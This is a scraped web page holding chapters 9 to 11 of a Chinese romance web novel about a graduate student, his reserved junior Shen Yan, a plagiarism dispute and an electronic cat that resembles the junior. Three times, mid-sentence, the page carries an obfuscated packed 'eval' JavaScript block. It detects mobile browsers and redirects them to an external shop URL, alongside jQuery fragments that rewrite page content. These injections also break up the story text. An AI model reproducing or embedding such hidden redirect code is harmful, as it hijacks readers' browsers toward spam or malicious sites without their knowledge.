隔着书架,刚刚腾出来的空隙里面露出来沈言的脸,被下午三点的阳光照亮半边,另一半沉在阴影里面。 “在找什么?” “前两天那个问题,我在系统上找到了几本可能相关的专著,来看一看有没有能参考的,借回去。” 我绕过去,看见他怀里果然抱着几本书:“上面两本我还没仔细看。师兄,你看一下?” 神色和往常没什么不一样,眼睛被窗外日色淌过去,仍旧是两汪平静湖水。 “这两本?” “是。” 他接着对着书架找剩下的一本,指尖扫过一排新旧错杂的书脊。我大概翻了一下手里的书,挑出来有参考价值的一本给他。 “看这个吧。” “好。” 沈言找到了他要找的末一本,看了眼目录,也一并拿上了:“就这些了。” 我和他顺着往外面走,两侧都是高高的书架,这个时间没太多人,安安静静的。百叶窗拉起来,阳光一丛一丛地落在书架上、停在地板上,透亮的浅金色。 “师兄来找我,是为了什么事?” 我还没说话,他就转头来看我:“是我上次给你发的那篇课程论文,被谁抢发了?” 沈言最近有两门考试,我怕他心烦,上午还没处理清楚的时候没告诉他。 还是被他猜到了。 “是。” 抱着书,沈言摇摇头,似笑非笑的。 “我听说过,张老师会把之前学生没做完的成果拿来直接给其他人用。” 想了一下,他又很疑惑地抬眼:“但是我这都是很粗糙的东西,也直接拿来用吗?” 我跟他说实话:“这其实已经是那篇里面最出彩的部分了。” “……好吧。” 服务台值班的是个戴着眼镜、很温和的女老师。沈言道了谢,把书收进包里。 “这事我跟程老师说过了,”下楼梯的时候,我把那个档案袋给他,“我能找到的材料都在里面,等下我给你发电子版。” 沈言看我一眼,接过去打开,大致看了几页。 “具体想怎么处理。”他低着头翻材料,我也看不出来他的表情,“你自己看着来。” 本来是想直接给编辑部发邮件的,写了两行,又停下来了。 段玉清说的其实是实话,对很多人来讲都是多一事不如少一事。我不能确定沈言到底是不是也这么想。 但是看着他浏览了一遍,又塞回档案袋里面递回来,我还是愣一下:“不准备用吗?” “不是。” 他看了我几秒钟,眼睛眨一下,忽然笑了:“师兄,只是让你先帮我拿一下。” 他腾出来手,从书包里面抽出来个文件夹:“我猜会是这样,上午的时候先找到了当时的记录,这样证据链更清楚一点。” 沈言递给我看:“我等下回去给编辑部写邮件——这样看我做什么?” 他整理得很清晰。我重新扣上去,看见他眼睛里面带着询问,和他解释:“我还以为你也准备息事宁人了。” 沈言听了这话,不太理解的样子,眉头皱起来一点:“息事宁人?为什么?” “对啊。”我不知道在问谁,“为什么呢。” 大厅里面人来人往的,沈言眉头又自己松开了,似笑非笑的,没说什么,只是拿着手里面的档案袋轻轻拍拍我。 “师兄,我不怕麻烦的。” * 刷卡过了闸机,沈言出了门,站在图书馆外面的台阶上面停了一下。 “师兄,”他朝我抬头,眼睛眨两下,“去不去草坪上晒太阳?” 图书馆对面是一片挺大的草坪,不知道当初是谁设计的时候落下来这样一张很宽敞的、绿油油的地毯,天气好的时候总会坐着躺着很多人。 今天的天气就很好,是初冬难得一见的和暖天气。刚才图书馆门口的保安师傅衣服上面的穗子也被照得亮晶晶的,看起来很快活。 旁边是两个小学生,凑在一起高高兴兴地分铁盒子里面的巧克力,包装纸也被阳光照得一闪一闪。我观察了一分钟,看他们的样子,应该是很好吃的。 “这段时间你还忙得过来吗?” 坐在草坪上,我又回想一遍沈言的课表:“邮件还是我晚上回去写吧,反正也都一样,顺手给学院也写一份。你好好考试,这些我来处理就行。” “这几天有点忙,但也还好,等到考完就……嗯?” 我看着沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154795|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言捡起来滚到他脚边的球,一抬头就跟刚跑过来的边牧对视了。 怎么只有看见小猫小狗的时候才会像现在这样,眉眼柔软下来两分,说话声音也轻轻的。 其实我也承认,小狗脑袋毛茸茸的,又被太阳晒得暖和,摸起来手感的确很好。但是话又说回来了,人的手感其实也不一定差到哪里去。 ……这么说怎么听起来怪怪的。我倒也不是那个意思。 边牧在我跟沈言中间来回转了几圈,叼着球高高兴兴地跑回去了。师弟一转头,果然又版本回退,变成了不苟言笑的版本。 “你之前,”我想一想,还是问出来,“跟张广是怎么回事?” “也没什么。”沈言不以为意,“之前大二寒假的时候在他实验室做过一点事情,有些研究我觉得……方向不太对,似乎没什么实际意义,不是很想做。跟他说过几次,他不爱听。” 一个刚刚接触的本科生都能看出来的事情,其他人不可能看不出来,都不说而已。 但是说实话,也是很常见的事情。 我说完这些,沈言就不说话了,盯着我看。我觉得他目光有点探询:“怎么了?” “师兄,你说完了?” “嗯,”我不太明白,“说完了——还有什么要说的?” “我还以为,”沈言似乎斟酌一下,“你也要说让我改一改……嗯,更合群一点。” ……也不知道之前谁跟他这么说过。真要想对别人好,就直接替别人解决问题,嘴上说教几句算什么。 “这有什么可改的?不想改就不改,”我摇摇头,“世界上这么多人呢,几十亿人里面,多一个两个不喜欢你的人而已。” 一辈子的时光也就几十年,跟自己喜欢的人待在一起、做自己喜欢的事情大概都还总嫌不够,哪里来的闲工夫去揣摩旁的。 ——比如跟一起坐在草坪上晒太阳比起来,张广现在到底是不是在跟他的学生骂我根本不重要。 甚至之后会不会给我使绊子也不重要。很多事情成与不成也没那么绝对,只是过程简单一点还是费劲一点罢了。 我总还是愿意相信世上的每一条路都能走通的。 沈言对此评价:“听起来像相信世界上真的有魔法一样。” “一样幼稚?” “不是。”沈言看着我,忽然笑了,声音轻轻的,“一样都是很好的事情。” 顿一下,他又接着说:“师兄,你要是遇上什么麻烦的事情,也要来找我。” 说这话的时候,他很认真地看着我,两汪湖水拢成桃花瓣的形状。 澄澈水面上隐约有我的影子。 也许世界上就是有可以挥出来剑气的树枝、有喜欢吃猫饼干的神、还有可以走通的每一条路呢?谁也说不准。 天色暗下去一点,我跟沈言就慢慢往回走。视线一晃的时候,我忽然发现了一件事。 “等一下。” “嗯?” 我本来想凑近一点看,他猛地往后错开了一点距离:“……怎么了?” 其实我觉得也不是很近。也许是师弟不喜欢别人和他像这样靠得太近? 悄悄记下来这一点,我指指他的左边耳垂:“我才发现你有耳洞。” 总感觉见过谁左边带过单边耳坠的,在日光里面闪一下,模糊的影子,但一时想不起来。 眼睛很快地眨两下,沈言猛地转过头,声音有点含糊:“之前的……很久没带了。” 他自己又点点头,确认一样,重复一遍:“对,很久没带了。” 9. 9 早上给苏睿看了十分钟代码,我还是没忍住,问她:“这是什么?” 每打一个字,屏幕上那个非常显眼的棕色卡皮巴拉就会跟着敲键盘,晃得人眼晕。 苏睿解释:“刚换的输入法皮肤,我需要一些哄自己写论文的办法。” 卡皮巴拉正坐在屏幕右下角抱着薯条啃。苏睿点一下旁边的图标,刚才还在啃薯条的卡皮巴拉立刻开始泡澡了。 “我现在写不下去了就给它洗澡,”苏睿给我展示,“其实还挺有用的,至少降火。你不是最近写重点基金那本子写挺烦的吗?我觉得我这五块钱花得还是很有价值的,你要不要试试?” 我看了几眼,得出结论:“没兴趣。” 苏睿摇头:“没品。” 我看着她兴致盎然地给卡皮巴拉洗了半分钟的澡,问她:“这就是你昨天交给我的初稿写成那样的原因吗?” “……师兄。” “我开修订改了一版,刚才发你了。”我很贴心地提醒她,“下周二交给我。” “……” 什么降火,搞这些花里胡哨的只会影响我打字的速度。 沈言周三课多,一般不来工位,今天果然位置上也是空的。我放下来电脑,看见桌上放着盒牛奶榛果巧克力,打开铁皮盒看时,里面有十几颗,包装纸也都亮亮的。 “谁给的?” “师弟,昨天晚上你没在这儿。” 好像跟那天旁边的那两个小学生的还真是一样的,盒子右上角细细缎带打了蝴蝶结。 我拿在手里看了一遍,有点疑惑——沈言总不会是发现我盯着人家一直看了吧? 苏睿看一眼自己的,又看看我的:“怎么还不一样呢……怎么感觉你的看起来更好吃?” * 我现在已经很习惯时不时在榕树间看见熟悉的背影了。这次他蹲在花坛旁边,影子被灯光拉得长长的,停在我的脚边。 从侧后方看过去,我看着沈言眼睛垂下来,手边围着几团猫,不知道自己在嘀咕什么,声音很轻,我站在几步之外也听不清楚。 踩在落叶上面的声音在安静的晚上听得很清楚,沈言转头,看见是我,眉眼舒展开一点。 “师兄?” 我在旁边也蹲下来,问他:“你刚才跟小猫之神说什么?你的第三个愿望吗?” 沈言目光莫名其妙地躲闪一下:“没什么。” 盯着他看了片刻,我恍然大悟:“我知道了。” “你知道什么了?” 话头几乎堵着我的话尾,眼睛一下子抬起来,不可思议地看着我,被路灯照得亮亮的。 不知道是不是我有一瞬间看错了,竟然还浮上来一点慌乱。 本来我是想说,他一定是想让小猫之神帮忙催那两个两周过去没一点动静的外审,但是对上他的视线的一瞬间,却忽然莫名其妙地说不出来了。 这次换我闪开目光了:“……没什么。” “……” 沈言也不说话了,要不是睫毛上下扇几下,完全就是静止的小雕像了——路灯底下被一群小猫围着的小雕像。 我决定换一个话题。 “周末路过植物标本馆了,看见这个。”我把手里的牛皮纸袋子给他,跟他解释,“不知道你喜不喜欢?” 很厚很大的一本模式标本集,里面的很多东西我都没见过,什么苍背木莲、短叶琼楠、毛果山柑,都是头一次见到。不知道沈言有没有见过。 总之看了两眼就买了。 沈言低头看了看,愣了一下,抬起眼睛:“给我?” “嗯,”我指指那群埋头吃饭的猫,“总不能是给它们的吧?” 我本来就觉得沈言比其他人肤色白一点,标本集的封面是暗红色的,这样一看,衬得他手指好像更白皙了。 应该是喜欢的吧?感觉眼睛刚才应该是亮了一下。 我正在偷偷研究此事的时候,听见沈言开口:“……师兄,这是不是有点太破费了。” “没什么——你别看那个定价。”我开始乱编,“没那么贵,就几百而已。” 沈言显然并不相信,仍旧很怀疑地看着我。 我总觉得我再不说点什么,他下一秒能拿出来手机给我支付宝转账。 其实之前就是这样,苏睿她们买小蛋糕的时候、老程寄回来纪念品的时候、甚至我给他奶酪小饼干的时候,他眼底总是有点疑惑、有点小心。 沈言似乎不太熟练于接受别人的好感。 “你人又好,又能干,师姐她们觉得你挺好,我也觉得你很好,”我点着手指和他讲,“你给大家帮忙,大家也喜欢你,这都是很正常的事情,没有谁欠谁的。” “而且对我来说真没什么,”顿一下,我接着跟他解释,“也只是想让你高兴,你高兴就好了。” 本来就是不同时间节点上的人,算来算去,实在是没办法、也没必要算那么清楚。 他还是不说话,我问他:“总不会过几年你毕了业,就要完全忘掉我这个师兄了吧?” 沈言就摇头,我告诉他:“这不就行了。又不是买东西卖东西,我今天给你,你明天就一定要给我还回来。每个年纪有每个年纪该做的事,你还小呢,不用着急的。” 想了想,我又补充一句:“等你上了院士,记得提携我就行。到时候发顶刊也给我挂个通讯。” “……” “看在小猫之神的面子上,你做点好事,”我指指他怀里的袋子,“大冬天的总不能让这么一本可怜的书流浪吧。” 黄色的小猫之神今天也高高在上地蹲在花坛上,我看它的时候,仍旧很不屑。 一群猫里面只有它自己没有被剪耳尖,我问沈言:“还没给它绝育?” “总抓不到它。”沈言说到这个眉头也皱起来了,“定位器也戴不了。我们还在想其他办法……” 他话头忽然止住了,我犹豫一下,还是问他:“你有没有觉得刚才被谁……瞪了?” 其实他说这话的同时,我也有一样的感觉,忽然被谁从背后轻而快地戳了一下一样。但是环顾周围的时候,明明没有一个人,连小猫之神都不知道上哪里了。 我想了一下:“好像是有点。” 沈言没说话,片刻之后默默点了一下头,看我一眼:“要不先回去吧?也不早了。” 大概那本书实在是太沉了,沈言站起来的时候袋子差点破了,在路灯底下仔细检查了两遍书没什么损坏才放心。 看他那个很紧张的样子,我猜应该的确是喜欢的。 其实还挺可惜的,这一套好像是各卷独立成册的,但是今天只找到这个,没找到其他卷。 回去还是再找一找。 * 晚上九点过十分,我又打开电脑,开始写那个最近让我很烦的申报书。 其实不到九点的时候就准备开始写的,拉窗帘的时候我感觉窗外有个很熟悉的影子,尾巴左右晃来晃去的,一种熟悉的不屑感扑面而来,一晃就不见了。 学校离这里还是有点距离的,我不知道一只猫怎么跟到这里来的,但是下楼找了几圈又没找到。 奇怪。也可能是看错了,毕竟最近那个本子真的写得很让人头大。 开了电脑,敲下来第一行字,我又觉得不对,又仔细再看一遍。 看了三遍,也不是由于熬夜产生的幻觉。 我确定自己一直都是一个只用微软拼音的人,所以电脑到底是什么时候自己偷偷换上了一个这么花里胡哨的输入法皮肤? 输入框变得不太一样不说,屏幕右下角居然还有只不知道哪里冒出来的电子小猫。 黄色的一只小狸花猫,眼睛形状和杏核一样,自己凭空出现,蹲在我电脑屏幕的右下角,尾巴长长地拖在身后,好像就是苏睿今天跟我说的那什么打字伴侣。 但是安静得像一尊小雕像,跟苏睿给我看的其他卖萌打滚的什么小狗蛇、小熊猫、小兔子比起来,冷静得有点格格不入,甚至称得上严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154796|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃。 简直跟我那个不苟言笑的师弟似的。 ……真是莫名其妙的。我不知道怎么会对着一只猫想起来沈言。听起来实在是有点荒唐。 我是不会上这种花里胡哨的东西的当的。写本子根本就用不上这种东西,完全用不上。 写本子暂停,我准备研究一下怎么把输入法换回来。 但是很奇怪,折腾两分钟,我发现这东西不光莫名其妙地出现在我的电脑里面,竟然好像没办法手动取消,如果不想用,只能等明天试用期过去。 又研究了十分钟,我确定没有中任何病毒。 点开再看的时候,支付页面的倒计时还有十二个小时,我看一眼,准备关掉。 ——但是话又说回来了,看起来真的有点像师弟。面无表情安安静静地蹲在那里。跟其他小猫的眼睛颜色不太一样,黑曜石一样的眼睛,眼尾挑起来尖。 小猫还会在我的电脑里面待十二个小时——十一个小时五十九分钟四十三秒。 忍到明天就好了。 这两天正在写的子课题论证有点复杂,写得我连着心烦了两天了。但是偶尔看一眼蹲在右下角被迫一起奋力打字的电子小猫,好像真的不那么烦躁了。 我停下来,电子小猫也停下来了,黑眼睛盯着我,片刻之后,眼睛眨一下。 怎么还会眨眼睛呢。 又写完一段,我停手了。不知道怎么回事,三十秒之后我就已经支付成功了。 手机还没息屏,抬头跟它对视片刻,我尝试着按了下键盘,它果然也同步敲自己的小键盘。 我沉默。 我思考。 我的键盘莫名其妙噼里啪啦响个不停。 没人跟我说过长得很像师弟的猫拿爪子敲键盘是这个效果啊!! 小猫在屏幕上面无表情盯着键盘,我停了手,倒吸一口气,又倒吸一口气,心头猛地一跳。 ……这种好像一团软绵绵的奶油化开的感觉是怎么回事。 不知道怎么会这样,我觉得应该不是因为眼睛太像沈言了——应该不是。应该不是这样的。 大概只是因为它敲键盘的时候,看起来真的挺可爱的。 不知道苏睿用的那个看起来很呆的卡皮巴拉是不是这样,但这个似乎是限时的。我看了一眼,每天只给用二十分钟。 但也无所谓,我也只准备自己在家的时候悄悄把小猫拉出来一起打一会儿字,剩下的时候接着用我那个微软拼音输入法。 开发的人好像还挺细心的,小狸花猫外形做的蛮可爱,小动作也很多。 尾巴偶尔左右甩一下,很长时间不打字,盯着小狸花看,它还会自己低下来头,在地上踩来踩去的,被看得有点局促一样。 敲了几下键盘,我决定点一下试试。 和我想的一样,小猫果然还可以拖来拖去的。但是提起来的瞬间眼睛一下子就瞪圆了,瞪得我莫名有点心虚,没敢满屏拖着乱拽,从右下角拖到左下角就立刻停手了。 头一天的二十分钟,我盯着它看了十分钟,剩下的十分钟纯打字,旁边那一排小图标还没敢点。 ——苏睿那天给我展示的有投喂薯条、泡澡和打游戏机。我看了一遍自己的图标,水珠的应该是洗澡,小饼干应该是投喂,毛线球应该是跟它玩,还有其他几个没仔细看。 我觉得明天可以都尝试一遍。 合上电脑之前,我顺手给沈言发了条消息,问他白天说过的那个实验的进度。 沈言通常回消息还是很快的,但是今天不知道怎么回事,十点钟发的消息,将近十一点的时候才回复我。 回复的也只是简单的一个“嗯”,关于进度是一点没说。 翻来覆去看了两遍,我觉得有点奇怪。 平时他的确话不多,但每次都会把话讲得很清楚的,从来没有过这种含糊不清的情况。 问他怎么了,又不说话了,半晌才回了个“没什么”。 ——我最近做什么了? 10. 10 半夜躺在床上想了大半个小时,排除其他所有可能性,我得出了一个相当悚然的结论。 ——我最近好像给他的压力有点太大了! 大半个月过去,沈言自己没提,能力又很强,每次安排给他的任务也都质量相当高地按时交上来,我居然就忘了这回事,从来没有问过他是不是压力太大了。 失职。非常失职的师兄。 晚上那会儿他忽然生气说不定也是因为这个,我居然一点都没察觉到——一点都没察觉到! 应该早点问问他的。沈言这个人又很好说话,肯定是自己实在忍无可忍了才会这样。 我猛地坐起来了。 忍无可忍了,不会就不准备忍了吧?! 早上到工位的时候才想起来今天是周五,沈言有课。苏睿正在对着电脑屏幕发呆,看见我进来,眼皮撩一下,没什么反应。 再看一眼,发现我站在她旁边不动了,苏睿立刻如临大敌。 “你干什么?师兄我告诉你说了是下周二交就不能再改了啊……” “不是。你现在有没有时间?” 苏睿对着我审慎评估了十秒钟安全性,犹豫着点点头。 我拉过来旁边的空椅子,坐下来:“我问你个事。不是你的论文。” 她明显松了一口气:“那是什么?” “你觉得,”我斟酌着措辞,“我最近给师弟的科研压力会不会有点大?” 仔细观察下来,没发现其他的一点端倪,也不像是遇见了什么麻烦,这是我能想到的唯一可能了。 苏睿盯着我,脸上慢慢浮现出了一种见鬼的表情。 “师兄,你终于明白过来,不能用自己的标准要求所有人了是吗?” 我觉得这话说得不对,跟她严正声明:“我从来没用自己的标准要求过你们。” 明明已经放宽很多了。 “……” “行。” 苏睿呵呵一笑:“不管怎么说吧,能问出来这个问题,说明师兄你良知尚存,也是好事。” “别跑题,”我又问她关键问题,“你觉得沈言会不会……” “整个师门,唯一一个不需要你问这个问题的也就是他了吧?” 苏睿非常用力地敲两下键盘:“我看师弟做挺好的,还完全乐在其中啊——师兄,你能不能也这样关怀一下我们?” “你不需要我关怀。”我指出来,“你做不完了每次自己就会说出来。师弟从来没说过。” “……行。” 苏睿把椅子转回去了:“我跟你们这种先天学术圣体真没什么好说的。” 我还是有点不太确定:“你真的觉得他是乐在其中吗?” “不然呢?——你直接去问他不就行了?” “人现在上课呢。”我和她解释,“这不是先来问问你。” 苏睿又用那种很见鬼的表情盯着我。 “行。”她说,“我真看不明白。” 今天不知道怎么回事,沈言下午的时候也没来实验室。想了想,晚上的时候我还是给他发消息,让他不着急,晚两天再处理上次的那批数据也行。 他回消息倒是很快,半分钟不到就回复,说自己已经做得差不多了、不用往后拖。 现在是晚上九点钟,放下来手机,对着电脑屏幕想了十分钟,我把小猫放出来了。 还是像昨天一样,蹲在右下角,面无表情,拖在后面的尾巴尖偶尔动一下。 其实刚才我很想问问沈言,是不是真的觉得压力太大了,或者到底是哪里有问题。 但是回复我的时候又是那种感觉不想多说的语气。 刚过九点的时候,试探着问他学校外面新开了家店想不想去,也一直不回复我。我思来想去,还是觉得当面问比较好。 这事总在心上黏着不肯下去。写两行我又停下来了。小猫也不敲键盘了,抬着眼睛看我,眼睛越看越觉得很熟悉。 再回过神的时候,我看见两段技术路线里面夹了一句话,不知道自己什么时候打上去的。 ——师弟到底为什么不理我? 愣了一下,我跟电子小猫面面相觑。 * 下午三点,我正对着小程序下单,瞥见熟悉的影子从窗外晃过去,下一刻沈言推了店门进来,小铃铛又清脆地响起来。 “这边。” 沈言转过头,对上他的眼睛的一瞬间,我莫名有点紧张。 他走过来在我对面坐下,我还是不知道自己在紧张什么。 上周和沈言在食堂的时候,旁边几个人在说校外新开了家甜品,味道很好。 沈言当时看似自动忽略旁边对椰子草莓蛋糕抹茶生巧和香草拿破仑的测评,还在从容冷静地跟我讨论接口规范,其实语速都不自觉慢了一点。 ——明明那个时候还很正常,没有像现在这样好像要躲着我的样子。 “考完了吗?” “嗯。” 沈言选好了自己要的东西,点点头,眼睛朝我看过来,被日光照得亮晶晶的。 ——越看越觉得他们俩的眼睛真的好像。 我又自己在心里比对的时候,他睫毛忽然扇动几下,目光朝一边错开:“师兄?” “……没什么。” 我换了个话题:“还有几门考试?” “三门,都在下周了。” “这样。” “是。” 我选的是靠窗的位置,沈言低头回消息的时候,发梢被照成金色的。今天还是看起来不太想跟我说话的样子。 我又斟酌一遍语言,试探着问他:“忙得过来吗?” “嗯?” “最近——或者之前,你有没有觉得压力太大了?” 沈言抬起来眼睛,有点疑惑:“没有啊?” “没关系,你跟我说实话。” 头一次跟人这样解释,我有点生疏:“苏睿她们也总说我……嗯,下手没轻没重的。你要是觉得忙不过来,直接跟我说……跟我说就行。” 沈言盯着我几秒钟,还是很疑惑地眨眼睛:“我真没觉得。” 说完这话,他不知道想起来了什么,手忽然握起来了。 “师兄,”他说话不知为何,也吞吞吐吐的,“没有给我压力很大。” “都还好是吗?”我问他,“要是用我帮忙,你就跟我说,如果是我哪里做的不太合适,你也直接跟我讲。” 沈言摇摇头:“我没什么压力,跟师兄也没关系,我……嗯,我就是,嗯,得先习惯一下。” 他目光落在刚端上来的草莓千层上,但好像也不是在看蛋糕,看起来莫名很茫然,说的话我也听不懂。 “习惯什么?” “……没什么。” “我是说,习惯一下期末周。可能就是我前两天,嗯,复习有点忙,有时候……脾气有点怪。”沈言接着道,“师兄,真没什么。” 他说完又盯着我,不知道在思考什么。 “师兄,你这两天不会一直在纠结这个吧?” 虽然我的确是,但是这样听起来好像怪怪的。没回答他的这个问题,我往他那边推推他的小蛋糕。 想了想,我还是跟他认真补上一句:“要是有什么不高兴的,你一定和我讲?” “一定。” 话是这么说,我看他没跟我开口的打算。 空气又陷入安静了。我正在紧急从十个聊天方案里面试图挑挑拣拣的时候,又听见沈言握着小勺子忽然开口:“师兄,重点基金的那个本子,你最近写得还顺手吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154797|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实写得很烦,本身这种东西就很烦,又是我之前没太接触过的方向,又跟手头其他工作堆在一起。 但这样讲好像显得我不太可靠。还是想在师弟面前维持一下沉稳可靠游刃有余的师兄形象的。 “挺好。”我很坦然地讲胡话,“不难。” 我不说,谁知道我写一段卡半个小时。 没一个人知道。师弟就更不需要知道了。 * 但是电子小狸花猫可以知道。 有些事情只有零次和无数次,从昨天莫名其妙打下来第一句话之后,在申报书里面时不时夹杂几句自己的废话好像就变得理所当然了。 【师弟今天好像还是跟平常不太一样。】 这几天再次观察下来,我发现他似乎其他时候都挺正常,只是单单对我的态度不一样。 一个让人很悚然的结论。 沉吟片刻,我又觉得或许也没我想得那么糟糕。 【但是师弟怎么知道我本子写得卡手。师弟不说话,但是师弟关心我,不讨厌我。】 这话看着顺眼,留了整整半分钟才删掉,小狸花跟着狂按小键盘。我莫名从它身上看出了一种被绑架的感觉。 这样对一只狸花猫是不是不太好? 想了十秒钟,我得出结论——这没什么不好。这太好了。 电子小猫是黄色的,跟师弟今天毛衣的颜色有一点像。 【师弟今天毛衣好看,好适合他。】 说两句废话,感觉刚才改研究背景的火气都下去一点了。删掉胡言乱语,我接着回去第六遍打磨语言。 改了两行又停下来了。小狸花也跟着停下来爪子敲键盘,抬头面无表情地盯着我。 今天的使用时长还剩下两分钟,我决定尝试一下旁边的那些小图标。 其他的都好说,这个粉色羽毛是什么? 不知道,我觉得可以从这个开始,点一下试试。 光标上出现了根小木棒,上面绑着两根粉色的羽毛,我隐约记得沈言跟我说过这东西叫逗猫棒。 实验楼外面那几只猫我记得好像还挺喜欢的,很受欢迎的猫玩具。 操纵着逗猫棒,我试探着点一下小狸花,而后看到它—— 炸毛了。 一直到合上电脑的时候我都没明白,怎么好好的就炸毛了呢? 有时候沈言会问我一些问题,打字说不清楚的就直接语音。十点半他给我一个语音打过来的时候,我以为也是有什么问题要问,刚接起来,发现好像不太一样。 “怎么了?” 我觉得有点不太对劲:“怎么不说话?” “……其实也没什么事。” 沈言沉默很久才开口,语速也比平常快很多,听起来有点着急——或者说是局促,问了几个应该对他来说不是问题的问题。 问完又不说话了,我斟酌着语气:“还有别的什么要问吗?” “师兄,”他停了半分钟才开口,“我跟你说一件事。” “嗯?” “我刚想起来……也是刚想起来的,实验楼底下的猫——还有教学楼旁边的猫,总之所有猫,你都不要用逗猫棒去逗他们。” 怎么今天晚上到处都是逗猫棒。 还挺巧的。但是师弟半夜给我打电话就为这个吗? “为什么?” “不是所有猫都喜欢。”他又重复一遍,“不是所有猫都喜欢——别乱用行吗?有的猫比较……比较内向。” 我不是很懂,揣摩一下:“猫也会觉得丢人吗?” “会。”他沉默片刻,语气终于又和平常一样了,“觉得丢人了还会打人。你小心一点。” 我还是不解师弟何意。想了十分钟,我觉得应该是师弟在关心我。 11. 11 “你看,”我觉得说服了自己,很笃定地下了结论,“师弟就是关心我。” 苏睿原本在手机上指尖敲得飞快,听到这里终于不看手机了,抬头看我。 “所以呢?” “什么?” “我是说,”苏睿盯着我,“你跟我说这个干什么?” 我思考片刻:“只是分享?” 陈欣本来正在投屏,光标一滑似乎点错了文件,好像挺长的文档,没看清字,就被她手忙脚乱地关上了。 “如果我没记错,”苏睿右手端起自己的杯子,“师兄,今天我们大家之所以欢聚在这里,应该是为了分享文献,而不是分享你的小师弟是如何关心你?” 我觉得这个人讲话很颠倒是非:“刚才不是你先问我师弟的事情吗?” “我只是问你师弟下周什么时候考完试,” 苏睿敲着桌子:“谁问你师弟关心你本子写得顺不顺了?谁问你师弟是不是请你吃小蛋糕了?谁问你师弟是不是怕你被猫抓了?后面那一堆废话到底谁问你了?” 手机往桌上一放,她又重复一遍:“谁问你了?” 师姐仍然在苏格兰联培,线上参会。我看见她的麦开了又关、关了又开,不知何意。 “……师姐。”苏睿对着电脑叹气,“师姐,带我走吧师姐,带我去遥远的大不列颠,带我去没有师兄发癫的大不列颠。” 我觉得有必要跟她指出来一件事。 “你昨天好像说,让我今天下午帮你调参数。” 苏睿嘶了一声,再抬头的时候挂上了甜美的微笑:“师兄,我重说。” “……” “刚才的确是我在问你,不是你在炫耀。师弟他真的挺关心你的,他对我们从来不这样。不是你在炫耀,事实如此。” “但是最近……” 最近为什么又这么奇怪呢。 话到嘴边,我摇摇头:“算了,不说了。” 陈欣盯着我若有所思。我看着她投屏的文件,问她:“这篇有问题?” “……不是。没问题师兄。” 隔三岔五我会带着我的键盘之剑巡视一下那个当初误导我的、充斥着谣言的帖子。 开完会再停半个小时,还有个博士生论坛要准备,苏睿她们回工位去了,我干脆直接留在会议室,决定先用五分钟进行这周的巡视。 巡视的间隙,我看见另一条热门帖子飘在首页,划走的时候隐约看见标题是“同门是可怕的恋爱脑怎么办”。 师门里面出了个恋爱脑,那的确太可怕了,搞不好会把实验室炸了。还好不是我们的师门。 对恋爱脑不感兴趣,没点进去看,我划过去,继续我的巡视。 今日风平浪静,看来键盘之剑颇有成效。满意放下手机,我开始改昨天沈言发给我的初稿。 搞学术真是要不得一点恋爱脑。还好师弟不是,不然是写不出来如此严谨扎实的文章的。 * 周六有商单拍摄,吃上第一顿饭已经是下午两点了。 吃到一半,我看见沈言问我现在有没有空。我记得他今天在跟着写个报告,大概哪里有什么问题。 “你不吃了?” “不是,”我开始翻电脑,“我先接个电话。” 白夜之前也有过几次合作,看见我开了电脑就嘶了一声:“你不会又要在这里开组会吧?” “不是。”我跟他解释,“师弟问我个事。” “……” 合上电脑,我看见白夜抱着三明治,对着我摇头。 “你师弟知道现在是统治暗夜的精灵王放弃了自己的午饭,在给他讲那什么格式什么模型吗?” 他说到这里忽然皱眉:“不会就是那个给你本命剑的师弟吧?” “难道我还有第二个师弟?” 沉默几秒钟,他问我:“你是有什么把柄在你师弟手里吗?” “把柄?”我不明白,“没有啊。” 白夜不说话了,目光有点狐疑。 “没有把柄在人家手里,那你这是……什么意思?” “……” 神秘的猫粮召唤仪式不仅会召唤出来小猫,还会召唤出来卸了妆发的精灵王。 沈言似乎已经习惯我会被一并召唤出来这件事了,看见我的时候没太惊讶,左手往外接着倒他的猫饼干,右手摘下来耳机。 在他说话之前我先开口,表明记住师弟的关切:“它们都不喜欢逗猫棒这东西,是吧?” 沈言动作顿了一下,才接着往碗里倒,嗯了一声。 忍了忍,还是没忍住,我问他:“你是怕我被猫抓到吗?” 小半张脸都被围巾遮住了,露出来眼睛,路灯底下照得像星星一样。他看我一眼:“你要这么说……也行。” 路灯底下,我又很清楚地看见他耳垂上面的耳洞,还没长起来,不像是很久没带过东西的样子。 明明打了耳洞,我怎么从来没见过他带耳饰呢。 就带那种银色的、一晃一晃的,折出来日光的,肯定是很好看的。 “师兄?” 他合上罐子,停了一下:“……看我做什么?” 